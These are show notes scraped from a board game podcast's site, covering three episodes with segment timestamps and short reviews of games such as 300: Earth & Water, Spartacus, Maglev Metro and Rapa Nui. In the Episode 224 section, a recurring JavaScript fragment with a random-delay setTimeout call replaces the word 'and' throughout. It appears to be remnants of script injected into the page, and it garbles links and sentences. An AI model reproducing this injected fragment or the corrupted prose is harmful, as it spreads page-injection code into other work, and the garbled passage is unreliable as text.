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RDTN Episode 230: EOTN – Egyptian Kings, 300 Earth & Water, Board Game News

TimeSegment
00:05Game Toppers LLC
01:36Vanessa’s Intro
02:09Banter Stuff
21:14A New Contest
23:30Miniature Market
24:57Falling like flies at Gen Con
31:00Spiel Des Jahres nominees
34:21Villainous – Mischief & Malice
36:33Reign in Hell from Uncle Atom
40:05 Getting Crazy out there
45:53300: Earth & Water
52:07Portal Games
54:11Empires of the North: Egyptian
1:05:03Outro

Love getting the Empires of the North to the table and when a new expansion comes out, get very excited. Egyptians is the newest expansion and it feels different from all the rest. I also enjoy it when an expansion just flows and both these factions seemed to be easy to play to us. The engine you needed to build was right there and easy to grasp. If you enjoy Empires of the North, then this might be a must add

Two players games that involve strategic war battles are always something I enjoy, but the time to set up and play is sometimes a roadblock to getting a game to the table. But 300: Earth & Water is small footprint game that is fast to play and easy to understand. Based on the battle that most of us know from the movie 300, this game is around can the Greeks hold off the advance of the Persians over five rounds. If they do, they win. If the Persians can beat down the defenses, then they win.

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RDTN Episode 227: After The Empire, Spartacus, Summoner Wars, Ashes Reborn, Warhammer Cursed City, Monster Hunter Rise

TimeSegment
00:00Game Toppers
01:45Intro with Vanessa
02:23We are Live
05:00Peep Pepsi coming our way
09:29Another $5 Paid Out
10:56Monster Hunter Rise
13:20Lawn Maintenance
15:48 The Anatomical Guide of Lovecraftian Horrors
17:40Cuba Libre with Rodney Smith
28:00Ranking by PSA Halts for Trading Cards
30:35Warhammer Cursed City
33:18Some Anime Show
35:41Board and Dice Con
40:00BGG Golden Geek – Appreciate the Support
40:57Miniature Market
43:42After The Empire
1:04:52Spartacus
1:20:34Portal Games
1:22:04 Summoner Wars and Ashes Reborn
1:40:45Outro

After the Empire took us by storm in in recent plays. I was very skeptical of what they were going to try and did a wonderful job with the theme. Love when a game keeps the theme going through the turns, regardless of the actions you are taking.

Spartacus is a classic game that was never high on my list to play because of the Intrigue section. I had heard about how it was around negotiating with people, then maybe doing some backstabbing, so never really seemed like my type of game. However, glad I sat down with the new release and played it. I will say, how the intrigue plays out is definitely dependent on who is at the table. Our group isn’t strong players when it comes to that social mechanic, so the game took a bit to get up to speed, but we did get into it as the game went on. Glad I finally got it to the table.

Then there comes the rebirth of two card games that we had played in the past from Plaid Hat. It was good to see the changes Plaid Hat made and hope these games are successful for them.

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RDTN Episode 224: Maglev Metro, Rapa Nui, In a Nutshell

00:00 Game Toppers
02:26 Vanessa Intro
02:57 Intro
07:36 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andemic-20210212-225ottvh4ngfjcho6qfixkqajy-story.html”>Baseball Card Resurgence
16:10 Pokemon 25th Anniversary
27:00 Valheim – We got no clue
29:22 Food Talk Again
34:50 Portal Games
37:49 Maglev Metro
50:32 Miniature Market
1:01:11 In a Nutshell
1:01:45 Warhammer Quest: Cursed City
1:08:50 Summoner Wars: Second Edition
1:11:13 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-monsters/?ref=kicktraq”>Meeples andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Monsters
1:14:42 Mosaic: A Story of Civilization
1:17:32 Rapa Nui
1:31:23 Outro

Only two games in the episode with a deep review? Well, we spent a bunch of time on them andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and didn’t want to just cram the episode full andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cut out important items we wanted to cover. Plus, there was some news to share with you that you might have missed, needed to make sure we covered those items as well.

Maglev Metro by Bezier Games is a pickup deliver game that enhances the actions you take as you play. You can modify the amount of a specific action you take. For instance, you want to build track, the more robots you put in this action, the more track you can build. And since there are a bunch of actions that all can be modified, you will shift much of your concentration away from building of tracks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stations to how to optimize those actions to help you score the points at the end of the game. So, if you are thinking why do I need another train pickup andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and deliver game, take a look at how you have to manipulate the actions to be successful in this game.

Rapa Nui is a mystery on how something so simple in mechanics can quickly become very strategic as you play. This game could be considered entry level due to those simple mechanics andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and easy teach, but as you play, you will start seeing little nuggets of the strategy. Strategies such as claiming key locations on the map to gain resources while benefiting others. Thinking how to use other peoples locations to help you on your turn. Or strategically holding back in hopes that maybe next round you will benefit from someone else’s play during the current round.

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